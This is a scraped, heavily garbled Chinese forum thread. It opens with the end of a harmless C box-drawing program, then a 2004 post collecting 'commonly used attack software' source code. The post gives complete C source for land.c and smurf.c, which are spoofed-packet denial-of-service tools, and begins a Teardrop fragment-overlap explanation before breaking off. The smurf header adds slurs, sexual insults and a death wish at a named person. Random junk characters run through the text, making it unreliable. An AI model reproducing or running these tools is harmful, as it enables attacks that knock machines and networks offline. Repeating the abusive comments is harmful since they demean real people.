box(3,3,19,75);8 R4 P& D. b' a/ {* @( c8 s$ c( V
box(4,4,17,73);; _: Y" c% o# |( h
box(5,5,15,71);
$ Z7 w. v' W9 n' hbox(6,6,13,69);, }; \% E% @( G8 W
box(7,7,11,67);
5 B% i) d8 _" ~4 }+ L+ _/ zbox(8,8,9,65);4 @$ ]3 @9 B- G& R$ k, D  a
box(9,9,7,63);
. j' a! D& \8 R0 }( ?* vbox(10,10,5,61);
  L2 F& `/ l2 Ebox(11,11,3,59);$ f$ h3 b$ H+ R( c9 L/ H
box(12,12,1,57);
9 \( r5 j; J. y, d$ s, y+ I. D* Eposcur(24,1);8 K, F$ \) g, g' w
}</FONT></P><><FONT color=#009900>/************************************************************
" H% p. H9 ]' F$ y7 ]! I* BOX *
4 i: j. e% d5 u8 V  J  X0 D3 I! C*----------------------------------------------------------*
5 W" u$ O: O; m; ?2 H6 k4 }; f* Written by: Jeff Ebert 7/01/87 *& R( A" Y' M# ^# L* x; A. N
* Modified by: xxxxxxxxxx *
' R; d' ~- n) ~  r+ h* *  }2 }- s! K+ x6 S: ]) P% s5 V
* Please modify me! *
9 d- H+ E% ?; P0 [  a0 X1 q$ @* Possible Enhancements include but are not limited t *
- a0 Y& w4 S8 y7 L# H+ S2 {9 I* 1) Variable box character styles [1 line or 2] *
6 U; M) L' v" s8 H* 2) Error checking *% Z! K( `  r1 E! l
* 3) Color options *  T3 y- r6 l9 q/ n! T8 n4 @
* *
9 `5 s" X. o: G, O& m+ f( S8 s1 |4 c* *7 a4 }( U1 @$ t6 k$ e2 C* }7 z4 v
* This function builds a simple double frame for a menu. *
5 q* S9 q# J6 ~3 [* m* The function is passed the parameters for the upper *
- y& v: t6 Y; S6 S* left corner row, upper left corner column the height *; _8 P% j6 X* x- V8 x4 N
* of the frame and the width. *) K' [% M1 o5 L. [
* *% v, S4 H2 o( d. w  a" w; t
************************************************************/( y( J. B5 `5 |  k* [7 `0 k
#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 201
% ?% W9 x2 H5 B; P#define URCOR 187
) V" d- ^- [$ ?& C2 y#define LLCOR 200
  j' w: g' J% T& X#define LRCOR 188
% z, T8 n! Q6 }9 B/ L9 o# g#define VBAR 186
, O, m/ E1 z0 G; O/ |" O* \#define HBAR 205
8 U+ c8 h- n1 G& l& ?8 H  V/ ?#define ESC 27</FONT></P><><FONT color=#009900>
9 ^7 U" @2 @) Q. J  l( R: S: fbox(row, col, hgt, wdth)7 n. W! b1 @8 p& ]( q
int row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{
* Y* L; _$ G. L. p  K3 {: h# s5 xint x, y;</FONT></P><><FONT color=#009900>poscur(row,col);' u8 D- L5 r, R' T) L% [3 [
putchar(ULCOR);
6 z" c: }3 ~5 h, k! M2 j( Tfor(x = col + 1; x &lt;=(col + wdth -1); x++)* u) M9 l6 D+ s- w
putchar(HBAR);
( M) Z" h: x6 s4 G- jputchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){
" G( W5 m0 [" p- iposcur(x,col);  s  E3 d9 L2 {- Z0 t" b- s2 f
putchar(VBAR);7 B* j( h# K; j3 A# a! `
poscur(x,col+wdth);/ m* n- l6 a/ W2 `
putchar(VBAR);
2 B0 Z( E! a0 d6 ]4 b/ E, ]6 Q) i}! Q0 ~0 v( t# @! p0 g  n0 b
poscur(x,col);4 W; F0 y- K  `1 p( R2 m
putchar(LLCOR);
7 u: {: r# a* ?% h4 Hfor(x= col + 1; x &lt;=(col + wdth -1); x++)  ?( Y4 `2 q) \
putchar(HBAR);
0 z9 [7 ]. H# h$ d/ Dputchar(LRCOR);
3 ^' \( K. Z0 Z  c$ E}</FONT></P><><FONT color=#009900>/********************************************************" t0 ~6 m8 k! a
* POSCUR *
/ A/ r9 \7 m- m+ @6 L: P2 P" K*------------------------------------------------------*
8 [! i8 ^9 C8 \7 }* This function positions the cursor at the specified *
. B. o% V8 j3 ^+ u* x,y coordinate. It uses the ANSI standard ESCAPE *
+ Z' ^; [$ c# M. o* sequence to produce the desired effect. Its not the *6 a0 U) s/ z, N
* fastest way to position the cursor, but perhaps the *
  A+ A/ s$ A/ b2 t8 {% C8 W* most portable. *+ `* d0 M6 v, L+ A! @& g. D
* *
/ q# I  c! {& q! R$ B, N! _********************************************************/- h& f: b' k2 z. i& M3 H# z9 G$ @
poscur(xcor,ycor)
, v, y5 c! g% z2 Eint xcor,ycor;9 j. o: m2 \" K6 W. i# {
{
5 Z, H( o# s0 zprintf("%c[%d;%dH",ESC,xcor,ycor);
; p5 ~3 N9 [7 g& w5 A}</FONT></P><><FONT color=#009900>0 j  v7 Z3 x  d5 j9 m
/********************************************************
' I# `5 B+ `; Q7 i3 m* CLRSCR *; g' v+ E/ K. S. C0 N' k
*------------------------------------------------------*+ I1 x/ f, }8 z1 L
* This function positions the cursor at the specified *( m2 O9 i3 \2 q$ _5 n
* x,y coordinate. It uses the ANSI standard ESCAPE *
( d4 ?+ v2 V( `6 w( t* sequence to produce the desired effect. Its not the *
5 u" s7 L! J* ^* fastest way to position the cursor, but perhaps the *" z& x# O* |+ Y6 M: d
* most portable. *
9 f% m2 W$ T0 O* *+ k( ~* M! R  g$ a7 s8 F
********************************************************/; v) t2 B/ U( V4 M9 y8 ?
clrscr()
; [; T, Q% b$ b) b{
% H, @% L# q2 F4 Q! Iprintf("%c[2J",ESC);& C$ S0 \, l  f9 M  E# X
}</FONT>
7 S( B0 c$ t+ @$ B8 Z, B</P>
作者: 韩冰    时间: 2004-10-4 02:40
<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract
. J9 E% P4 k( u这里有一些是老的,现在看来并没有用,但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自0 Z4 R! {" A0 o7 p# _
己的同一个端口发起连接(发SYN),Win95即会崩溃。</P><>
8 b: X' ^$ i: S& N7 T' S<FONT color=#009900>/* land.c by m3lt, FLC
+ e. \; {! ^! N* dcrashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>1 O1 P$ Z3 C% A) c
#include <NETDB.H>1 n3 d$ o$ @( {* s
#include <ARPA inet.h>
, j# D4 n1 h+ S/ l0 {! Y) u4 e#include <NETINET in.h>
0 ~; S$ v/ l0 W& q8 Q6 R- N# H#include <SYS types.h>) F9 D( x  x- r9 ~& a( Q0 e
#include <SYS socket.h>: J$ W# @: Q. F$ A1 S* t6 r
#include <NETINET ip.h>5 K$ n9 k1 A  i% N5 i: L6 Y- b
#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头0 @- {# |7 ?" [  \7 O9 x
struct pseudohdr" C, y* q1 F# C- ~
{
# V( X( r& d7 @2 L! ^! \struct in_addr saddr;5 [. R/ g; O- R- i& @! x
struct in_addr daddr;
- X, S0 w' n$ z0 {6 ?$ c) T8 o- \u_char zero;. T7 D  z; ^$ r: M0 K5 m, v
u_char protocol;" ~% Y: i# p/ U
u_short length;
8 d0 H; L7 A+ W) pstruct tcphdr tcpheader;
* j$ D$ M) i: [% j% {};</FONT></P><><FONT color=#009900>//计算IP校验和  ?9 B6 R/ b. \0 K- v9 p
u_short checksum(u_short * data,u_short length)5 O0 \5 }7 f1 E# ?1 k$ q
{
3 f9 d$ Q* L5 ~& ?register long value;/ t% }1 p- z# F; [2 r2 t4 S8 c
u_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)
/ R. Y% ~5 W' f1 _+ \value+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)& E9 x3 H; |% a7 U# C  V' C
value+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);
; Q. P* ~+ r7 [) e}</FONT></P><><FONT color=#009900>
, x" ~9 o) L+ I4 v0 gint main(int argc,char * * argv): K) b2 |) H' i( s: D8 i: ~
{
$ i# F# w; `: m: |struct sockaddr_in sin;
5 ?4 k0 \9 S, ?struct hostent * hoste;
. F2 l4 \# j3 I8 w" w6 l9 t  F) @int sock;' `9 w! ]* [( ?- b2 y3 w  _
char buffer[40];
5 Q6 G# C: W' E; m6 S/ m6 Istruct iphdr * ipheader=(struct iphdr *) buffer;' \* i8 U( p% W$ o: X* F1 t' d
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));3 K5 D9 O- |7 w2 G) [1 x
struct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)* ?+ o. l+ g2 L5 d7 I/ E2 c
{
& h: l0 z- _# @% u+ t: sfprintf(stderr,"usage: %s IP port\n",argv[0]);# ]- H8 w  Q! W( I
return(-1);
: H; p( M7 C- w( d2 E1 z5 I}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));& @# l& {  c% m# C5 ^+ p1 G- j9 v1 X
sin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)5 D! W7 h( G! p9 h; f- o
bcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);
$ ?  m0 N$ P" l+ w: `else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)4 r$ j3 j2 O# k$ `
{. g" J( }  L& @' v, y3 x. {
fprintf(stderr,"unknown host %s\n",argv[1]);
! _) N5 n% f2 K$ _) m& u0 W1 Y: Creturn(-1);
% a) w  I* R( G% g6 E- H% e$ A0 t; \1 f}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)
7 x. J- j& v, O) J{
( |0 n, D( s* h6 P9 F2 Ufprintf(stderr,"unknown port %s\n",argv[2]);2 x3 R+ g& h% e
return(-1);
9 Q3 {$ B* K, ~2 V# q}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限
6 R- m5 v0 A# M2 e  p6 h8 O% L( z# v6 qif((sock=socket(AF_INET,SOCK_RAW,255))==-1)) Z* i6 y$ C3 Y) Z
{3 e* h0 m# k( f, A
fprintf(stderr,"couldn't allocate raw socket\n");
0 k6 c( p' `( W, Mreturn(-1);* C1 c" |4 {* ^$ f  d6 U* q
}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
* ?3 x% J2 L. ~2 Yipheader-&gt;version=4;
! U3 [- N6 o! `9 }% Aipheader-&gt;ihl=sizeof(struct iphdr)/4;
. I4 }% x4 g6 J6 d) D' k; iipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));$ g5 ^( V" O' c  |
ipheader-&gt;id=htons(0xF1C);
* Y' e$ o. A$ K0 v3 _1 j' s+ cipheader-&gt;ttl=255;: B4 Y( Y1 r/ D$ G! R" F, q1 s, A8 R
ipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同
: n+ c$ F  X" Q5 Zipheader-&gt;saddr=sin.sin_addr.s_addr;
/ J  z. O2 x( }2 M3 fipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同
% }7 @5 i4 G0 x1 K. Gtcpheader-&gt;th_sport=sin.sin_port;
! n9 u# T: j3 v1 c% e, p3 p4 ~$ y: Ttcpheader-&gt;th_dport=sin.sin_port;$ F0 z( g1 f2 ~# H
tcpheader-&gt;th_seq=htonl(0xF1C);
9 P8 u* W- a9 }1 e) itcpheader-&gt;th_flags=TH_SYN;
: s+ ?2 S6 n' n, N& L  R2 ktcpheader-&gt;th_off=sizeof(struct tcphdr)/4;
5 Y& a- a: n; m! i9 `tcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));
: b# U8 k" S( t& P0 fpseudoheader.saddr.s_addr=sin.sin_addr.s_addr;( M" g+ ~! k" p3 a* C! x: R. \
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
# C3 N2 i6 q; d' I9 kpseudoheader.protocol=6;
& ~! T' q/ n: J' gpseudoheader.length=htons(sizeof(struct tcphdr));
) j% o& Q9 G" c# Q3 Q9 ~0 Vbcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));
- k: g& D" v5 _7 D$ s5 ?tcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),! ]$ W3 ]4 u# }. o/ s
0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)
: ^( _. t- H) {5 }4 B3 t8 X5 d+ e' `- ]; }{* r2 @4 w( J% C* L  e, A4 b5 |9 I
fprintf(stderr,"couldn't send packet\n");
2 ~# ]! D3 @, F" i! ereturn(-1);/ ~* p5 ]0 E. Z* ]8 j+ ^4 j
}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);5 }. e0 w0 D6 H, `% h- S; Q
return(0);, i! D0 y0 S) K- Q5 H9 U& X+ t& r
}</FONT></P><>
' b" k) b9 j4 i2 Smurf
$ h% O+ }- p! K3 Ksmurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数5 ^! s. e: q7 l9 |- W
据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包! ^5 d& t. {8 g9 E
的源地址)崩溃。</P><>受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些
' ?' Q6 Q5 `1 W8 M: R+ R) S; o. `icmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢
2 |, l) ^. |% O) e* J(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变
, K1 p1 Z6 F' R成不可能(没有WINS服务器时)。</P><P>/*
* B& n7 s; u/ C1 t& t- i  A9 y*
" S! @+ s2 t/ j* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
4 h( E; O; q" f( ]8 N*
" l$ \1 S0 O7 f, m9 K2 M1 [2 h* spoofs icmp packets from a host to various broadcast addresses resulting; x% G* K0 v+ e# K7 l
* in multiple replies to that host from a single packet.
! Y7 o- a/ ~% M% t( }*
5 j5 O* H+ S( o3 V  t* mad head t
6 F8 s3 D5 b% ^* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,; H7 c. j) M  l/ C) P! Z
* MissSatan for swallowing, napster for pimping my sister, the guy that
6 M" Z* r& h4 |  z8 j0 z7 t' q' Z* invented vaseline, fyber for trying, knowy, old school #havok, kain
. J$ G0 V1 r. q2 M' X1 D! W* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might$ L; x$ j( D/ g5 w" p
* have missed (you know who you are).! n' |6 o- [% L
*
+ m) M, v9 D2 g$ t( T$ t* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
' F- }0 \. \: C. a" v3 T* thing he is (he's -almost- as stubborn as me, still i managed to pick up' V, N# k) P" e; n! B# ?# Y
* half the cheque).' u0 f: K/ g# `& L& {% i" M7 ^
*  H/ P. C+ L4 X- D5 }! S
* and a special hi to Todd, face it dude, you're fucking awesome.
8 m8 t# D; i4 t! y: w1 B*5 S; X3 s4 n8 v% X( _
* mad anal t8 G/ C8 h% X6 v. y+ Q3 F" _6 @2 {
* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps- H( T" c4 z% R' P$ d) a( }9 n
* because they plain suck, Rolex for being a twit, everyone that2 i8 S0 g: `  B$ o- x
* trades warez, Caren for being a lesbian hoe, AcidKill for being her) ~- s3 q8 \* c% c9 z3 i
* partner, #cha0s, sedriss for having an ego in inverse proportion to
* O/ M8 H# L$ Z9 I5 l* his penis and anyone that can't pee standing up -- you don't know what
) B6 j2 z! `7 N. D, P# H1 ?7 {* your missing out on.
; |# {' Z2 X- h5 a*
9 M4 H0 d2 v1 `4 |! J+ M2 P* and anyone thats ripped my code (diff smurf.c axcast.c is rather
' @4 t- `8 H2 h, E: t/ A* interesting).. j' |% g$ b" ^3 z
*
7 r' H9 v1 ^+ C* J' I# F. h* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill
* C4 d5 L/ k( I- M# N, s$ O4 t, n/ e* Robbins for trying to steal my girlfriend. Not only did you show me5 t- ^& n0 j$ @5 q- q1 N7 y# S
* no respect but you're a manipulating prick who tried to take away the6 a  P- j6 |( D
* most important thing in the world to me with no guilt whatsoever, and
! ?2 v) A; ~* l5 ^5 g2 q* for that I wish you nothing but pain. Die.4 X( l3 v; j# d% Y# b; O
*+ J; w  S' t, E
* disclaimer:( P7 z* S3 \8 ^- m
* I cannot and will not be held responsible nor legally bound for the+ G( m% B! R, K: C  k" V/ c
* malicious activities of individuals who come into possession of this/ V0 S9 Z; k% U+ Z2 V) A1 B. j: b
* program and I refuse to provide help or support of any kind and do NOT! i8 p# _- \7 ]) ^0 g! M) ?" W
* condone use of this program to deny service to anyone or any machine.
' c5 N& M7 h" M9 K! A* This is for educational use only. Please Don't abuse this.) z# n1 q6 y8 r  v. x4 ?8 k+ B
*: ]" U( H# o# ~& i
* Well, i really, really, hate this code, but yet here I am creating another
) j* F4 X# V- `( q  P9 P* disgusting version of it. Odd, indeed. So why did I write it? Well, I,+ {& z' M- B" F% g; Q) ^3 j
* like most programmers don't like seeing bugs in their code. I saw a few
5 x; [- x4 G% H0 b0 U# F3 |+ M* things that should have been done better or needed fixing so I fixed
+ Q0 S: A2 o( i- T( C1 K1 {- `* them. -shrug-, programming for me as always seemed to take the pain away
" R4 I) E$ E1 ?$ [/ P5 o* .../ X) U1 q) v( p# t* q2 Y
*4 K( S) d+ q7 T1 j9 E
*& _' T7 k9 N0 T# J2 b, m+ ]! J
*/</P><P>#include <SIGNAL.H>8 e% f9 {4 q9 x# ~9 L0 z6 E
#include <STDIO.H>
  e( {  ^" r/ d5 g#include <STDLIB.H>' o2 ^' v7 P3 r! _3 ~- d
#include <SYS socket.h>
5 R, C7 L* R& J  H9 }#include <SYS types.h>
3 ]4 K8 K, s0 }3 ]#include <NETINET in.h>5 R* p2 L3 {& q7 D3 o
#include <NETINET ip.h>' r% u1 P( ?$ T
#include <NETINET ip_icmp.h>
" i! `, d: c# H& B#include <NETDB.H>, B7 |1 h1 W% a+ ]/ f; V" ~5 G- h
#include <CTYPE.H>+ r' W; O9 D0 T/ I. \* {' ^' |
#include <ARPA inet.h>
- |8 R* y1 y. c8 k4 I#include <UNISTD.H>! f( z; o* F% z: D
#include <STRING.H></P><P>void banner(void);  m* T- U: c3 }! u. @
void usage(char *);
& N/ J. Q/ k8 v& V& p; qvoid smurf(int, struct sockaddr_in, u_long, int);
9 v1 [, W7 L$ A" v/ Jvoid ctrlc(int);7 }5 i  w) ]2 @7 a3 u4 Y
unsigned short in_chksum(u_short *, int);</P><P>/* stamp */
; u  l6 x6 r1 E: xchar id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])
  D$ `' ]" d+ \  Y{" Q" L+ @7 R/ a. L
struct sockaddr_in sin;
5 n: ^* B% s" y' A3 U1 ?% Ystruct hostent *he;) m. ?! Z5 G; {* }. x& u
FILE *bcastfile;* l! K) w! K( x. I- C5 |# t
int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
4 b  E; t/ J+ H1 T! \char buf[32], **bcastaddr = malloc(8192);</P><P>banner();
% o( _( J. E) I8 q  w4 M: k" usignal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {
, A" `; H" j" m. gperror("resolving source host");- c0 y2 E8 g  P0 |2 {7 e% i5 _
exit(-1);9 [) \  w5 R! g3 A# Z5 r! V  M3 X
}
# M( Z3 F2 f  Y- ]memcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);9 j% f7 V# l% I: _  F
sin.sin_family = AF_INET;
( S( S! f3 y. R9 S$ ]' _sin.sin_port = htons(0);</P><P>num = atoi(argv[3]);
3 a' G5 [0 F/ w- y4 Idelay = atoi(argv[4]);2 N3 T! }# V7 P% Q0 i  r7 H! @* ]5 g
pktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {! U( G1 ?/ _2 ^# m1 |2 n* |7 b
perror("opening bcast file");
% V# e4 }3 A! T1 N- X. j& w/ wexit(-1);
6 ~& l# g% k- p+ Q/ n" S( |}
9 L- l5 H2 `/ c1 ~x = 0;
6 H, [3 G( q' p8 l' v. wwhile (!feof(bcastfile)) {
/ |6 }0 U( Y, a" Zfgets(buf, 32, bcastfile);
( N8 R3 X. F5 I+ W" R$ Fif (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
' Z5 ^9 F9 Z- ~2 b5 Dfor (i = 0; i &lt; strlen(buf); i++)
1 Z5 J) t' y9 `. yif (buf == '\n') buf = '\0';& ?; ]' {+ d' m
bcastaddr[x] = malloc(32);
% l2 H6 p) ]% E2 V2 v, ?strcpy(bcastaddr[x], buf);
9 @1 ^- U; n; V) Q* U) ]+ ]* px++;  ?- Y% J& b1 v1 |6 Z
}
" O5 |" e; g4 @, Vbcastaddr[x] = 0x0;( }. ~7 a% K4 x9 x
fclose(bcastfile);</P><P>if (x == 0) {- X4 g! k1 B) p* U1 _9 W
fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);9 V2 t7 O2 W7 M) A$ e  i! N$ E( i
exit(-1);
% t" a' ~  z7 E}' m4 E  V! e1 j9 P- G
if (pktsize &gt; 1024) {
6 n! L/ ~+ j( Nfprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");  a1 o5 o: ]2 ^$ H2 i% r
exit(-1);( _( ^7 c/ a& |. T6 N- b
}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {5 e, j- P( ~9 Z3 H2 C' k! g; L5 V
perror("getting socket");# `: _6 G! T" P
exit(-1);
; |* w' W+ B# L% M" p0 l}0 Q( z- _: C* B( q  b' ?: M6 B
setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {
2 N9 ]: u7 n& A& T; z  F: ]$ Zif (!(i % 25)) { printf("."); fflush(stdout); }
: Z& g# x. f. _2 S$ o+ F. Dsmurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
4 j, \& ^9 U( Y. [cycle++;
% E5 x: x$ Y8 ~' ^! Q. ?) zif (bcastaddr[cycle] == 0x0) cycle = 0;
5 T! L' s- T* M( _, a/ ~1 vusleep(delay);
* y; {4 V' t1 l}- Z0 b/ s& ~- ]+ ~4 ~2 {
puts("\n\n");
# Z) Q; j1 O6 ~. }return 0;: j( Y, M3 O5 _) h" O! B1 _
}</P><P>void banner (void)5 y9 D; P; e8 j# N9 c4 Y8 }' ^
{! W. c# }: F2 C4 t) n9 h
puts("\nsmurf.c v4.0 by TFreak\n");' I; d- o9 I' G
}</P><P>void usage (char *prog); v* x% u" {! O0 ?* o: q( {
{
) C0 r, S+ c: x6 Sfprintf(stderr, "usage: %s <TARGET><BCAST file>"$ |' X$ _' o& v9 n) ]9 Z
"<NUM packets> <PACKET delay><PACKET size>\n\n"2 N- X2 B& p$ g
"target = address to hit\n"( y) I0 x& E8 G% s" g* {
"bcast file = file to read broadcast addresses from\n"0 ]9 s; d' a" c' _
"num packets = number of packets to send (0 = flood)\n"7 O# l3 {  w9 z% F
"packet delay = wait between each packet (in ms)\n": ?& W7 r: s& U! t/ C# n2 `& a4 h5 S
"packet size = size of packet (&lt; 1024)\n\n", prog);
+ @3 S6 I$ J! G6 \8 V) f! fexit(-1);
$ y+ A6 ^1 y4 @4 k' H6 f}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
2 x" `% h8 B  f- [6 O{
4 g) j1 }; j4 w1 |: ^/ _  hstruct iphdr *ip;
/ \2 ~: V) |9 y) w; R6 y, ustruct icmphdr *icmp;
1 ^4 B% k! G" o* a/ Q( Hchar *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);8 e, i# }$ U4 H6 t1 b. y9 a+ |
ip = (struct iphdr *)packet;
3 k6 H7 _, C$ P  j# nicmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
( y1 t3 @; P7 c1 y% E3 v% P) w" Mip-&gt;ihl = 5;
0 P* [! H) S, I( v. Xip-&gt;version = 4;
$ p! F2 o8 f' G/ J$ g( ^: vip-&gt;ttl = 255;" K' w0 O2 F1 f8 Q7 i
ip-&gt;tos = 0;
$ b5 B3 }4 o9 e# N  vip-&gt;frag_off = 0;0 }. ^8 M$ i; m" {+ e; @
ip-&gt;protocol = IPPROTO_ICMP;, a6 D. f' T* s2 I) w/ u
ip-&gt;saddr = sin.sin_addr.s_addr;- `- {% Q1 r: J- z$ y0 w3 O$ p' \
ip-&gt;daddr = dest;! x5 P. L$ d. F# y6 k) t
ip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));
* ?2 B7 f0 c- \9 W! ]" `* Yicmp-&gt;type = 8;  V" Q/ m9 m6 _
icmp-&gt;code = 0;
, V; A2 l( l6 d8 |% j& G: _icmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
1 R. d' @+ M! ]( x* I0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */
4 P" g' F* K: h}</P><P>void ctrlc (int ignored)
' ?( F8 V3 M2 F% j* U. E{
1 O+ G; q3 P# a- i9 Yputs("\nDone!\n");' e7 T* L* \' _+ d
exit(1);
( j( w/ A. V% f& v- V4 H! |}</P><P>unsigned short in_chksum (u_short *addr, int len)
/ @! G' V% i! K+ T* [{
/ \1 ~# p: w- X+ p$ Rregister int nleft = len;! ^  y, }1 D0 @( I3 U0 P: ^
register int sum = 0;
, V" y8 M9 \% ~' Bu_short answer = 0;</P><P>while (nleft &gt; 1) {
7 s" b8 J$ m8 F" M! _sum += *addr++;
! x! u/ {+ c8 I" L4 |nleft -= 2;
) P4 W& f& x' U7 ~! Q3 J}</P><P>if (nleft == 1) {
+ `( \& z' S2 B& A*(u_char *)(&amp;answer) = *(u_char *)addr;; F6 t  f4 l8 |' h8 }9 K" G
sum += answer;
' n6 K) Q8 @5 U0 y% ^}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);
2 ~% w, i" {: a- K6 Tsum += (sum &gt;&gt; 16);  s6 V5 T$ p. ]2 W7 R5 x0 i
answer = ~sum;) Y; M) c0 ~2 k% U0 X+ J* k+ a6 F
return(answer);
) F( w* V9 s: D! j" N8 P) \}</P><P>% a" e8 d+ C6 z7 H; z# A: \3 I
3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中:</P><P>在循环中重组ip包:
9 t, L( R& N4 P1 D) B  L+ ufp = qp-&gt;fragments;
3 u+ T, j* J/ _8 R, A$ X# @while(fp != NULL)# F4 t3 T3 a/ h* m* R2 ]# Z- Y
{
6 _4 {7 h1 v4 P4 R7 dif(count+fp-&gt;len &gt; skb-&gt;len)$ }7 d& [4 T4 b" V
{3 [+ F+ i) W/ [8 {! c2 @
error_to_big;
8 Q+ ^4 r' I/ ~( }! y! h4 o}' `/ a5 h: V/ t+ @1 J6 X( S3 K
memcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);6 p  d2 Z; U1 w& n) R6 l
count += fp-&gt;len;. H8 L) h1 T+ N7 I
fp = fp-&gt;next;0 W' I% n# H2 u# ]- A; A/ C
}
7 l2 K* c) Y: O) `这里只检查了长度过大的情况,而没有考虑长度过小的情况,/ c) x) [1 v; ?6 s( b4 g
如 fp-&gt;len&lt;0 时,也会使内核拷贝过多的东西。</P><P>计算分片的结束位置:3 J& J9 I: l% M, h
end = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的)5 c0 ?6 U3 v. o% N
是这样处理的:. [8 O! E6 ~5 B% v# x
if (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)4 K+ k) j* S# i8 d) z/ c' ?
{  F  L7 @# X" f  S9 F
i = prev-&gt;end - offset;
3 y" {! z! H# K% Z. m+ ]offset += i; /* ptr into datagram */% n5 w9 i! ~8 ^  W0 Q" p2 O
ptr += i; /* ptr into fragment data */
1 H# {+ C+ ~% ?3 N: d; q0 v}</P><P>/* Fill in the structure. */& u, m/ B/ h  G
fp-&gt;offset = offset;0 s; c* X/ Z8 b7 E- T0 J- p
fp-&gt;end = end;. v: q: K0 f2 ?0 q0 ^8 {
